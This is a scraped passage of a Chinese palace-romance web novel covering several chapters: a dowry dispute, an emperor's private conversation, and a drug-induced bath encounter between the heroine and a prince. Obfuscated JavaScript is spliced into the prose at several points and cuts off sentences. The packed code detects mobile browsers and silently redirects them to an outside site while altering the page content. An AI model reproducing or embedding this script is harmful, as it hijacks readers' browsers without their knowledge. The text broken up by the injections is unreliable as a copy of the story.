只见姜南溪此时已经站起身,正满脸嘲讽地看着她:“姨母说我爹娘留给我的嫁妆没有多少,那正好,我这里有一份单子,想让苏公公和在场诸位过目一下。” “看看我在定远侯府的这些年,只凭着吃穿用度,有没有本事,将这份单子上的东西败光掉。” 凌婉茹脸色瞬间铁青:“南溪,你莫要……” 然而,姜南溪根本就不等她把话说完,已经从袖中掏出一个绢帛。 手一抖,那绢帛就被抖落开来。 长长的雪白丝绢上,密密麻麻写满了文字。 偏偏那字写的极工整,大小也是刚刚正好。 坐在不远处的宾客哪怕不起身,也能将清单上所列的东西看的清清楚楚。 这一看,众人的眼珠子都差点凸出来。 就连苏公公也忍不住倒吸了一口凉气。 实在是这嫁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在她察觉到不对的时候,那嫁妆单子上留下来的忠仆,就已经被定远侯府清理了七七八八。 所有本该属于姜南溪的嫁妆,全都被定远侯府霸占。 就连奶妈自己,也因为想要提醒姜南溪,被定远侯府灭口。 从那以后,碧清院中就只剩下原身和小婵这两个傻白甜主仆。 再也没有人知道先皇曾给姜南溪这个孤女留下过那样一张嫁妆单子。 第一百五十八章 这是我母亲的遗物 一直到前段时间小婵死里逃生,自觉与小姐越发亲近。 情绪激荡之下,找出亡母遗物,诉说自己一定要守护小姐的决心。 才无意中发现了这张嫁妆单子。 而这张有着先皇亲笔御签的嫁妆单子,才是姜南溪要在这及笄宴上,给定远侯府最大的惊喜。 长长的丝薄卷轴被轻轻抖动。 下方原本还卷在一起的布帛便如水银泻地般继续往前铺展。 直到,那朱红的御批出现在所有人眼中。 圣上亲笔! 无人敢违抗,无人敢冒充。 凌婉茹只觉得脑中嗡一声响。 惶惶然只剩下两个字:完了! 果然,下一刻便听苏公公道:“此事,咱家会禀告圣上,这份嫁妆单子……” 姜南溪迅速把单子重新卷回去,双手恭敬递到苏公公面前:“劳烦公公禀呈圣上过目!” 反正她早已把这单子誊抄了一份。 苏公公接过卷轴,又瞧了萧墨宸一眼,才笑道:“县主放心,既然是您的嫁妆,又有先皇亲笔御批,那自然是要如数归还给您的。” “不过,当年先皇将县主的嫁妆交于定远侯府,也只是让府中帮忙保管。相信定远侯府,定然不会贪墨孤女嫁妆的。侯夫人,你说是不是?” 凌婉茹此时恨不得冲上去撕碎那张不知道从哪里冒出来的嫁妆单子。 一想到那庞大的财产要全部给姜南溪,她的心就仿佛被刀在一下下剜着。 可面对苏公公,她不敢说不是。 只能挤出一个比哭还难看的笑容:“是,是……我,我怎么会贪图外甥女的嫁妆呢?等她成亲那日,自然……自然是会还给她的。” 司玄中笑眯眯道:“何必等到成亲那日呢?县主与我家王爷的婚期也不过只剩下三个月,若到了成亲前夕才归还嫁妆,要如何清点入册?” “侯夫人是怕县主的嫁妆太多不好清点吗?这点您大可放心,南溪县主是我御王府的未来王妃,清点嫁妆这些小事,区区不才愿意替我家王爷王妃效劳。” “若侯府信不过我家王爷,那便再去户部拨几个人过来,当着侯府所有人的面清点、交接、登记、造册。” “如此一来,夫人该当没有任何后顾之忧了吧?十日之内,能将我们王妃的嫁妆,悉数交还吗?” 凌婉茹身体一晃,几乎要软倒下去。 姜思瑶连忙上前一步扶住她,满脸担忧关切。 可直到传旨的苏公公走了,她才敢义愤填膺地指责姜南溪:“姐姐,你未免太过分了,姨母又没有说不把嫁妆还给你,你又何必当着这么多人的面咄咄逼人呢?” “就算定远侯府当真有什么做错的地方,可到底养了你十年,难道姐姐你连养育之恩都不顾了吗?” 姜南溪看着她忍不住笑出声来。 这白莲妹妹恐怕表演茶艺都快成条件反射了。 只要逮着个机会,就要跳出来楚楚可怜卖弄自己的善良伟大,顺便再道德**她一下。 但姜思瑶似乎忘了一件事。 “哦,妹妹你不说话,我倒是忘了!” 姜南溪慢悠悠道:“定远侯府欠我的嫁妆实在太多,要清点交接,确实需要点时间。但妹妹你不一样。” “你拿走的我亡母的遗物,拢共不过就一个箱子的书籍丹药。现在天光正好,又有如此多宾客见证,妹妹是不是该把本该属于我的东西,还给我了?” 姜思瑶脸上楚楚可怜的表情僵住了。 面上的血色在一瞬间褪尽。 与同样脸色惨白的凌婉茹站在一起,倒还真有几分相似。 看上去更像是真正的亲姨甥。 姜思瑶苍白的唇颤了颤,好半晌只能发出一个破碎哽咽的音节:“我……我……” “南溪,你莫要欺人太甚了!” 沈翊轩猛地站出来,一把将摇摇欲坠的姜思瑶搂在怀里,对着姜南溪怒目而视。 但他的话,却被司玄中笑着打断。 “程达、赵雄,姜二小姐许是弱不禁风,根本搬不动那沉重的箱子,不如你们去替王妃将凌医仙的遗物,全都取回来吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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要知道,姜思瑶这一年能在京城中混的如此如鱼得水,深受宫中贵人青睐。 最大的原因便是她拿出的那些珍惜丹药。 姜思瑶几乎咬碎了一口银牙,恨不得把姜南溪活撕了。 可面上却还要露出仿佛受了天大委屈的表情:“姐姐,你为什么要如此血口喷人冤枉我?我承认我想多学习嫡母的医术,所以迟迟未将这些遗物还给你,可你也不能因此便诋毁我啊!” “玉魄丹、金髓丹……这些珍贵丹药,都是神医谷的不传秘方,是妹妹我费尽千辛万苦,才亲手配置而成的。姐姐你为什么要说是嫡母留下来的遗物?” “姐姐你应该比任何人都清楚,嫡母的遗物中唯有医书、配方等物,根本就没有什么丹药。” 姜南溪都忍不住要佩服这位白莲庶妹了。 谎话张口就来。 眼泪说掉就掉。 说到后来仿佛真是受了天大的委屈。 谎话说多了连自己都信了。 姜南溪笑了一声,突然将原本已经开了锁扣的紫檀木箱重新合上。 “好,妹妹说玉魄丹是你制的,那便是你制的吧!但这个箱子……” 她轻轻晃了晃:“上面有我娘独有的行医标记,妹妹总不会说,里头的东西,也是你的吧?” 姜思瑶咬住了下唇,说不出话。 她此刻当真是后悔**。 悔她从前从未将姜南溪放在眼里。 以至于凌元歌所有的遗物,包括那些丹药,她都原原本本放在原来的箱子中取用。 此刻就算想说那箱子里的丹药是她的,恐怕也没人会信。 姜南溪看着她的表情,笑容越发幽深:“那我就等着看,没有了我娘遗物后,妹妹还能不能凭借神医谷的不传丹方,制出那些珍贵丹药。” 她上前一步,凑到姜思瑶耳边,用只有两人听到的声音缓缓道:“姜思瑶,这场及笄宴,过的开心吗?姐姐我送你的这份礼物,惊不惊喜,意不意外?” 姜思瑶控制不住,牙齿猛地用力,咬破了嘴唇,鲜血从齿缝中溢出。 她狠狠瞪着姜南溪,几乎想将她**万段。 姜南溪看着她那张近乎扭曲的脸,却忍不住笑了。 呵呵,这才哪到哪啊,就演不下去了? 一切不过才刚刚开始而已! 定远侯府和姜思瑶欠原身的东西,她会一样一样,连本带利地讨回来。 === 御书房。 永熙帝萧文昭正在画画。 苏辔悄无声息地站到他身边,朝原本正在伺候笔墨的小太监挥了挥手。 小太监立刻躬了身退出去。 连带着其他伺候的宫婢仆从,也鱼贯而出。 很快,偌大的御书房中,只剩下苏辔一人在萧文昭身边近身伺候。 萧文昭的视线始终停留在画上。 略显苍白的手执着笔,漫不经心画着。 口中淡淡问道:“事情办好了?” 苏辔连忙躬身道:“办好了。” 萧文昭:“墨宸看上去心情如何?” “这……” 苏辔脸上露出为难的神情,苦笑道:“皇上您这么问,可真是问倒老奴了。御王殿下威严日重,恕老奴眼拙,实在看不出殿下究竟是喜是怒。” 萧文昭笑了一声:“也是,朕的这位表弟,向来便喜怒不形于色。这么多年了,连朕都看不透,若能被你这老东西看透,那还得了了?” 苏辔陪着笑了一声。 随后从袖中取出一卷东西,双手举过头顶,呈到萧文昭面前。 萧文昭斜睨了一眼:“这是何物?” “是……南溪县主要向定远侯府讨还的嫁妆单子。县主让老奴呈给皇上您过目。” 顿了顿,苏辔才补充了一句:“上面有先皇的亲笔御批。” 萧文昭闻言挑了挑眉,终于放下了手中的笔,接过卷轴。 他展开绢帛,漫不经心看完,脸上没有什么情绪起伏。 视线最终在先皇所写的朱红御批上停留了片刻。 才勾起唇角缓缓笑道:“父皇对这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732533|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 南溪县主,倒也当真是宠爱。” 单子上列的不少东西,他小时候曾在先皇的私库中见过。 有些是连长公主萧雅娴讨要,先皇都未给的。 没想到竟悉数赐给了姜南溪做嫁妆。 苏辔呵呵笑道:“南溪县主的父母和兄长,毕竟是为救先皇而死的。英国公府满门,就剩下了这么一个孤女,先皇偏疼些,也是必然的。” “只是恐怕先皇也未想到,将南溪县主养在定远侯府中,本以为有着亲姨母照拂,县主能有好日子过,谁曾想,这许多嫁妆,差一点就全便宜了定远侯府。” “皇上,县主打算在大婚前悉数收回自己的嫁妆,但恐怕定远侯府那边,不会甘心将如此庞大的财产交出来的。” 萧文昭冷笑一声:“沈云峰这一年多,暗中搭上了楚家,越发嚣张,不把朕这个皇帝放在眼里了,竟连贪墨皇家亲封县主的嫁妆这等事都做得出来。” 苏辔闻言,立刻明白了他的意思,笑道:“县主那边清点交接嫁妆恐怕也是不易,明儿个老奴就从户部拨几个人过去,帮着县主和御王府一起清点,务必让定远侯府将县主的嫁妆完完整整还回来。” 萧文昭随意点了点头。 苏辔知他满意,遂拿起墨条,就要研磨。 然就在此时,耳边却传来萧文昭仿佛漫不经心的声音。 “苏辔,你说当年父皇留给姜南溪的赏赐,究竟是什么?” 苏辔:“这……恐怕除了保管赏赐的龙鳞卫,任何人都不清楚。唯有等到县主成婚后,龙鳞卫将赏赐送到县主手中,才会揭晓。” 萧文昭垂下眼帘。 烛火的阴影在他过分苍白病态的脸上轻轻跳跃着。 良久他才缓缓道:“墨宸这般急切的要娶姜南溪,甚至不惜和朕强硬讨要赐婚圣旨,你说,是为了什么?” 苏辔闻言,当即冷汗涔涔。 颤声道:“老……老奴不知。” 萧文昭笑了一声,不再继续这个话题。 手中的画笔落在纸上。 只是这一笔显得格外墨黑浓稠,与他那张苍白病容的脸形成鲜明的对比。 第一百六十章 一群没用的东西 姜南溪回到碧清院中,看到手中的圣旨,还有些回不过神来。 “小姐,老奴帮你把圣旨供起来,早晚三炷香,老奴肯定不会忘的。” 徐嬷嬷喜滋滋地从她手中把圣旨接过去。 像是没看懂姜南溪的欲言又止。 捧着圣旨回到神龛前,用真的赐婚圣旨,把原先那份假的换了下来。 姜南溪又看看逃避她目光的金铃和银铃。 眉头狐疑地皱起来。 总觉得,这三人好像早就知道今日会有赐婚圣旨下来。 姜南溪正要说话。 忽然见到一个熟悉的身影从窗外飞掠进来。 只见影十三满头是汗,头发也因为飞驰的太快被风吹乱了。 一看到姜南溪,立刻上前一把抓住她的手,声音带着哭腔道:“县主,求您快去救救主子!” 姜南溪被吓了一跳:“萧墨宸?他怎么了?” 刚刚在宴席上,狗王爷不还好好的吗? 影十三急的眼圈都红了:“县主您有所不知,主子为了求取到今日这份赐婚圣旨,在圣上面前足足跪了两个时辰。可你也知道,主子他如今的双腿,是无法下跪的。想要跪下,便只能动用内力……” 姜南溪双目圆睁:“萧墨宸他疯了?” 自己前两日才刚刚从鬼门关把他救回来。 结果他又去动用内力跪两个时辰,难道是怕自己死的不够快吗? 影十三哽咽道:“主子之前并不知道皇上给县主您的赐婚圣旨是假的。主子他向来说一不二,从不失信于人,却在七日断肠丸和赐婚两件事情上,都阴差阳错失信于县主您。” “主子他口中不说,其实,其实一直是想弥补县主您的……” “县主,还求您看在主子今日为您撑腰,替您讨回嫁妆的份上,去救救主子吧!” 姜南溪在心里骂了几百句脏话。 最终还是咬牙道:“带我去!” 影十三二话不说,抓住姜南溪的手走出屋外,凌空飞跃而起。 砰——! 两人刚离开,就见其中一扇门被撞开。 裹成木乃伊的影七跌跌撞撞出来。 声音沙哑的几乎说不出完整的话:“主子,主子怎么了?我刚刚听到主子危在旦夕,我要回王府,我要去见主子!” 影七踉踉跄跄往外冲。 只是还没冲到门口,就有一只脚抬起,狠狠踹在他的屁股上。 影七恼怒地回头:“银铃,你干什么?” 只可惜,他的声音太沙哑了。 吼破了喉咙,都只有粗哑的气音。 半点气势都没有,配合他那五体投地的姿势,和屁股上的脚印,反倒显得格外滑稽。 银铃翻了个白眼,完全不把这个她平日惧怕的墨影卫放在眼里:“主子什么主子?你莫不是忘了,现在你的主子是小姐?小姐让你做什么,你就要做什么。小姐没让你回去,你凭什么回去?” “还是说,之前你发下的毒誓,向小姐做出的承诺,全都是放狗屁?” 影七被问住了。 一张脸涨成了猪肝色。 可他也觉得万分委屈:“你们,你们难道就不担心主子……王爷吗?到底你们是姜南溪的人,还是御王府的人!” 银铃沉下脸,上前又踹了他一脚:“闭嘴,小姐的名讳也是你能叫的!” 影七被踹的旧伤发作,疼的一张脸都扭曲了。 他不懂! 他真的想不明白! 为什么碧清院这几个人明明之前是主子死心塌地的奴才。 现在却全都倒戈姜南溪了。 他,他也不是不认自己发的誓言。 以后也愿意做牛做马任由那女人驱策。 可难道他们就不担心主子的安危吗? 金铃银铃这两个白眼狼不担心就算了。 “徐嬷嬷,难道连你也不担心主子吗?你可是从小看着主子长大的!” 徐嬷嬷冷冷睨了他一眼,居高临下,满脸鄙夷,像在看**。 “就是因为老奴我看着王爷长大的,才不能让你们这群蠢货,糟蹋了王爷的好姻缘。” 影七愣住了。 徐嬷嬷冷哼一声:“一群没用的东西,还要我老家伙出马,才能帮王爷把媳妇儿留下来。” “尤其是你,影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732534|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 七!” “你若是再敢擅作主张,得罪王妃,拆散王爷的姻缘,就别怪老身不客气!” === 御王府。 “王爷,这是离洛先生刚刚让人送来的药。” 司玄中将包裹送到萧墨宸面前。 只见在影十三口中危在旦夕的男人,此刻俊颜清冷,神色如常。 只是面色略显苍白。 司玄中声音温和从容道:“王爷您为了从圣上那求取圣旨,动用内力下跪,此刻巫髓毒恐怕又更入侵心脉。离洛先生这药倒是送来的及时。” 说着,他取出其中一包:“正好,这包药是离洛先生新配置出来,让王爷您泡药浴的。属下这就让人给您安排沐浴,希望能将巫髓毒压制下去。” 萧墨宸皱眉:“不过是跪了片刻,哪里会毒发。” 现在是白日,泡什么药浴。 然而司玄中却不给他说话的机会,立刻便招呼了婢女竟然准备热水。 口中仿佛漫不经心道:“之前徐嬷嬷就问属下,王爷您有没有好好爱惜身体。若是王爷您还是如以前那般,不把自己的身体当一回事,她就没办法守在王妃身边,只能回王府照顾王爷您了。” 萧墨宸拒绝的话到了嘴边,终究咽了回去。 他并非不想从那女人身边把徐嬷嬷调回来。 只是不愿徐嬷嬷担心。 如此而已。 热腾腾的药浴很快准备好。 屋中伺候的奴婢仆从也尽皆退出去,只留下萧墨宸一人。 萧墨宸脱去衣衫,整个人浸泡入药水中。 片刻之后,他的额头上冒出一层细密的汗水。 原本苍白的皮肤上,泛起一阵艳丽地潮红。 一股热流从他的丹田扩散到他的四肢百骸,让他全身燥热,呼吸急促起来。 萧墨宸猛地睁开眼,眸底惊怒。 离洛在搞什么? 为何这药浴会催动他体内巫髓毒的燃情之效? 感受着身体的变化,体内血液的沸腾。 萧墨宸深吸了一口气,闭上眼,小心而谨慎地运转内息,希望将体内躁动的情欲压下去。 第一百六十一章 不好意思,没忍住 “主子就在里面,县主您进去吧!” 事到临头,影十三终究有些心虚。 不敢去看姜南溪的眼睛。 但姜南溪却没有察觉到异样,迅速推门进去。 身后的门发出吱嘎声响,被轻轻关上。 这一幕与她上次来给萧墨宸治病几乎一般无二。 唯一不同的是。 上次她进门就看到了躺在床上,奄奄一息的萧墨宸。 可这一次,原本的床被撤去了。 取而代之的是一架宽大的屏风,完全遮住了房子后方的情景。 屏风后能隐隐听到男子压抑的喘息声。 姜南溪完全没多做怀疑,径自上前绕过屏风。 然而,下一刻,她整个人僵住了。 因为入目的不是躺在床上昏迷不醒的病美男。 而是身上赤裸,露出如玉般紧实胸肌,正浸泡在浴桶中的……极品美男。 氤氲的水雾热气,将男人如瀑般垂下的墨发打湿了。 那湿发便紧紧贴在肩背上,勾勒出男人流畅性感的肌理线条。 鸦羽般的长睫沾着水,微微颤抖着垂下。 遮住了那双潋滟惑人的桃花眸。 水珠从光洁的额头坠落。 划过高挺的鼻梁,薄削的唇,性感的喉结。 最终顺着胸肌,汇入水中。 咕咚! 姜南溪听到自己吞咽口水的声音。 她在心里做了好一会儿建设,才忍着面颊和耳根的燥热走上前去。 一边心里忍不住吐槽。 为什么她每次来给狗王爷治病,都搞得跟要过情劫、抗色戒一样? 等走到硕大的木桶边,姜南溪才发现。 萧墨宸浸泡的水并非无色透明,而是黑漆漆的。 空气中弥漫着一股浓郁的药香。 刚刚也是她太过沉迷美色了才没发现。 原来狗王爷泡的不是澡,而是药浴。 她忍不住将脑袋凑近药桶轻轻嗅了嗅,分辨药浴的成分。 咦? 这药浴的成分是对症的。 虽然不能解除巫髓毒,但能压制毒性,延缓毒发。 与她扎针的作用有些类似。 只是效果可能没有扎针好。 可这药浴中有一味药的气息,怎地有些古怪? 姜南溪忍不住伸出手,沾了一点点萧墨宸的洗澡水闻了闻。 一边皱眉思索这味药的成分。 一边顺手将手上的药汁擦在萧墨宸身上。 男子的肌肤莹润如玉。 偏偏全身的肌肉又因为常年练武,蕴藏着磅礴的力量。 坚硬而柔韧,光滑而紧实。 姜南溪没忍住,两指擦,改成了捏。 等意识到自己在做什么,她耳根瞬间烧红。 连忙眼观鼻鼻观心,顺着男子结实有力的手臂往下滑,要将男人的手从药汤中拉出来把脉。 人体的手腕部位,特别是寸口,是大多数经脉的汇集之处,如太阴肺经、肝经、肾经等。 因此通过触摸手腕的寸口脉,才能更精确地感受到经脉的跳动,从而判断患者的身体状况。 绝不是她故意想占便宜。 绝对不是! 姜南溪身体微微前倾,整个人几乎探进了桶中。 等好不容易抓住了萧墨宸的手腕,正要将之抓出来。 突然,那只被她抓住的修长大手,猛地一个反转。 如铁钳一般牢牢扣住她的手腕。 姜南溪被吓了一跳。 她没想到这次萧墨宸会这么快醒过来。 之前都是她治疗的差不多了,巫髓毒被逼退后,这男人才会骤然苏醒。 她仰头看去,正要解释。 却陡然撞进了一双被欲望烧红了的桃花眸。 这双眼平日里总是深邃、幽暗,明明勾魂摄魄般诱人。 可却偏偏总是带着入骨的冷意,让人不自觉望而却步。 可此时此刻,全都变了。 这双眸不再清冷禁欲,反倒像是被关了许久,终于挣脱牢笼的野兽。 凶狠、霸道、侵略。 仿佛下一刻就要把她吞吃入腹。 姜南溪连声音都结巴了:“王爷,放手,我是来……”给你治病的。 然而,她的话还没说完。 手上的力道就猛地加大。 猝不及防之下,姜南溪只觉得天旋地转。 整个人被生生拽进了硕大的木桶中。 “咳咳……” 姜南溪口中被溅入了几滴苦的要命的药汁。 她生怕自己要喝男人的洗澡药汤,手 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姜南溪只觉得自己仿佛会被男人整个扒皮拆骨吞吃掉。 哪怕是第一次两人颠鸾倒凤的时候。 她都从未有感受过如此炙热又强势的入侵。 身体随着深吻像被烧了一把火。 萦绕在鼻息间的冷香,相贴的炙热,撩人的肌肤触感。 宛如**般迷惑着姜南溪的神经,让她逐渐堕落沉沦。 从一开始的震惊抗拒,到最后,她索性反客为主。 一手勾着男人的脖子,另一手摸上了那觊觎了许久的腰线。 “唔……” 然而就在这时,一股剧痛从肩膀上传来。 姜南溪忍不住发出一声闷哼,脸色都白了。 她一扭头,这才发现,自己的衣服竟不知何时被萧墨宸撕破了。 雪玉一般的肩膀露出来。 同时也裸露出前几日刚刚受的箭伤。 伤口原本被她在系统中包扎处理过,这几天已经不影响正常生活了。 第一百六十二章 自取其辱了 可此时动情中用力,又被有刺激成分的热烫草药一泡。 一股剧痛顿时席卷了她的全身。 霎时间,什么旖旎情丝、公狗腰、男妲己全被她抛到了脑后。 姜南溪伸手便要推开萧墨宸。 谁知道,萧墨宸的动作却比她更快。 姜南溪只觉得一股大力袭来,她整个人被往后重重压在大桶边沿。 好了,这下不止肩膀痛,连腰也酸痛了。 艹,她还能更倒霉一点吗? 老天告诉她,还能! 下一刻,脖子上传来一阵窒息般的剧痛。 刚刚还搂着她,撕她衣服的修长手指,此刻捏住了她的喉咙。 只要五指用力,就能把她的颈骨咔擦捏断。 姜南溪双目圆睁,难以置信地对上了男人猩红的眼眸。 桃花眸中一片冰冷肃杀的寒气。 明明看着近在咫尺的她,却仿佛在透过她看着虚空。 慢慢的,视线开始聚焦。 等终于把姜南溪狼狈精致的小脸映入眼中,萧墨宸一怔。 脱口道:“你……你为何在这里?” 姜南溪:“……” 此刻她要是有把刀,一定把这狗男人横切竖剐,大卸八块,然后拖出去喂狗。 她吸气又吸气,自认已经平复了八成的怒火。 可一开口却完全没忍住暴脾气:“萧墨宸,你个狗渣男又跟我玩拔**无情,吃干抹净不认账这套是吧?” 萧墨宸看着女孩凌乱被打湿的头发,红肿的双唇,湿透的破裂衣衫遮不住的玲珑曲线,一时哑口无言。 凌乱的记忆逐渐回归脑海。 他只记得自己察觉到离洛送来的药浴有异常功效,所以动用内力压制。 可是越压制,巫髓毒的燃情效果却反噬的越厉害。 恍惚间,萧墨宸觉得自己仿佛进入了一个光怪陆离的梦中。 梦里,他回到了那一晚。 那个胆大包天的女人推门闯进来,勾住了他的脖子,送上如花瓣般柔软却滚烫的唇瓣。 那时,萧墨宸虽扛不住巫髓毒发时的燃情效果,与人颠鸾倒凤。 可神思却异常清醒、冷酷。 但此时此刻,他却感觉身体连带着理智全都被体内的**焚烧地一干二净。 不是……姜南溪想要他。 而是他想要这个女人。 想要占有她、侵犯她,如那夜一样将她揉碎在怀里,让她在自己身下如蜜糖般融化。 让她彻彻底底属于自己。 然后,他便在梦中这样做了。 但萧墨宸怎么都没想到。 这竟然不是梦,而是…… 萧墨宸的喉结上下滚动了一下。 视线在少女红肿柔嫩的唇瓣上流连一瞬,连忙挪开。 可下一刻,便看到了那如瓷般细腻的肌肤,与湿透的衣衫完全遮掩不住的…… 萧墨宸能清晰感觉到,自己的身体瞬间起了反应。 汹涌的,渴望的,宛如还在梦中。 向来杀伐果决,喜怒不形于色的御王殿下,此时难得说话磕巴了:“你,你为何会在本王房中?” “因为我贱!” 姜南溪恶狠狠地瞪了他一眼,一边手脚并用,狼狈地往桶外爬。 口中咬牙切齿道:“我真是犯贱,才听影十三的,再次来给你治病。” 明明之前都打定主意,不会理这个狗渣男了。 结果一听影十三说狗王爷动用内力跪了两个时辰,只为求两人的婚约。 她就昏了头了,巴巴儿跑过来给他治疗。 结果好了吧! 自取其辱! 以后她要是再犯这个贱,再担心这个狗渣男,她就是龟孙子! 姜南溪气的头晕脑胀,再加上她肩膀上的伤本就被牵动了。 原本应该轻轻松松能爬出去的木桶,却在要往外翻的时候,手一滑。 整个人向后栽倒下去。 凸(艹皿艹 )! 贼老天,你耍我呢! 嫌我今天还不够倒霉,不够狼狈,不够丢脸是吗? 然而下一刻,姜南溪就感觉自己被拥入一个炙热的怀抱。 熟悉的冷香扑面而来。 赤裸的手臂环在她的身前,将她紧紧圈进怀中。 湿透的后背贴在男人的胸口。 背部在一瞬间变得极度敏感,仿佛连男人胸肌上的纹理都能感触的清清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜南溪看着影十三这心虚的样子,还有什么不清楚的。 该死的! 原来不是萧墨宸这狗渣男过河拆桥,拔**无情。 而是影十三骗了自己。 第一百六十三章 夭夭要娘亲 萧墨宸根本就没有毒发危在旦夕。 那个劳什子跪了两个时辰肯定也是假的。 纯粹是影十三这混蛋把自己骗来的。 让她被占尽便宜,还要丢人现眼。 姜南溪气的咬牙切齿。 绝交! 必须和影十三这混蛋绝交! 姜南溪正气的入神。 突然感觉抱着自己的双手微微一松。 她的身体便要从温热紧实的怀中滑落下去。 姜南溪脑子还没有从恼羞成怒中回过神来。 感觉身子下沉,下意识的便将萧墨宸的脖子勾的更牢了一点,防止自己掉下去。 于是,原本松开的手便再次收紧。 修长温热的五指托在她的臀上,轻轻往上掂了掂。 耳边传来低沉戏谑的声音:“怎么?就这么不舍得离开本王的怀抱?” 姜南溪:“……” 她僵住了。 热意蹭一下烧红了她的面颊。 艹! 她今天还能更丢脸一点吗? 萧墨宸看着怀中女孩窘迫的模样。 不知为何,心情莫名飞扬起来。 他唇角微微勾起:“要本王抱着你去沐浴吗?” 姜南溪这才发现,萧墨宸原来把她抱到了类似温泉的浴池。 抱着沐浴? 鸳鸯戏水? 咳……姜南溪迅速从萧墨宸怀中一跃而下,一本正经道:“不用了,王爷您冰清玉洁、超凡脱俗、遗世独立、高贵优雅、白璧无瑕……我等不要脸的俗人,怎配与你共浴呢!” 一番丧心病狂的形容词,成功把御王殿下的脸说黑了。 沉着脸转身就走。 姜南溪长舒了一口气,这才浸入温热的浴池中。 轻轻拍了拍滚烫的脸。 想起刚刚萧墨宸那吃了屎一样的脸色,她忍不住扑哧一声笑出来。 === 姜南溪匆匆在浴池里清洗了一下,就穿上影十三准备的衣服,打算溜之大吉。 今天实在是丢人丢大发了。 以至于她连撒谎片她的影十三都不想追究了。 只想快点悄无声息地离开这让她羞恼的御王府。 为了避人耳目,姜南溪没有选择走正门,而是打算再次从西边的墙头翻过去。 再从慕华园回碧清院。 只是,姜南溪刚要借力往上跳跃。 身后突然传来一个带着哭腔的稚嫩声音。 “娘亲!你不要夭夭了吗?” 姜南溪心肝儿一颤,脚下一软,差点栽倒在地。 她连忙转头。 就见一个小正太和一个小萝莉就那样水灵灵地站在她身后。 萧时晏努力绷着小脸。 可还是忍不住小嘴扁扁的,眼圈红彤彤的。 仿佛随时会哭出来。 夭夭雪团子就更不用说了。 晶莹的泪珠已经包在眼眶里,欲掉不掉的。 鼻头红彤彤的,显然已经哭过了。 看上去说不出的惹人怜惜。 姜南溪连说话的声音都软了三分:“你们怎么在这里?” “娘亲,她们说,你不肯嫁给父皇,所以也不会给夭夭当娘亲了。” 夭夭嘴巴一扁,大眼睛眨巴一下,眼泪就扑簌簌往下掉。 “娘亲,你不要夭夭和哥哥了吗?” “你别不要夭夭和哥哥,好不好?” 小团子一哭,萧时晏的泪水也立刻再眼眶里打转。 用尽了全身的力气,才没让自己像妹妹一样哭出来。 可开口的声音却还是掩不住哭腔:“以后,炎炎都听话,你别……别不嫁给父王好不好?” 只有她嫁给父王,才能成为他和夭夭的嫡母。 那样一来他和夭夭就有娘亲了。 而不是没有娘疼的小野种。 姜南溪顿时觉得头大如斗。 她本来就见不得人哭。 更何况是这两个戳他心窝窝萌点的小祖宗。 而且看到这两个小家伙哭的仿佛被抛弃的小狗般的样子。 她的心脏就像是被细细密密的针扎一般。 说不出的疼痛,又酸楚。 姜南溪连忙蹲下身,把两个小家伙拥入怀中。 “好了,别哭了,我也没说不要你们啊!” 两个小家伙立刻抱着她,呜呜地哭起来。 哭了一会儿后,夭夭突然推开姜南溪。 眨着哭的红彤彤的兔子眼,歪着小脑袋,眼巴巴地看着姜南溪。 声音软乎乎地问:“那娘亲,你是答应嫁给父王,做夭夭和哥哥的嫡母了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742684|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 姜南溪:“……” 夭夭嘴巴一扁,眼泪立刻滚落下来。 “呜呜,影十三说,娘亲误会了父王,不肯嫁给父王了,原来都是真的!” “那夭夭和哥哥就没有娘亲了,呜呜呜……夭夭不要没有娘亲!” 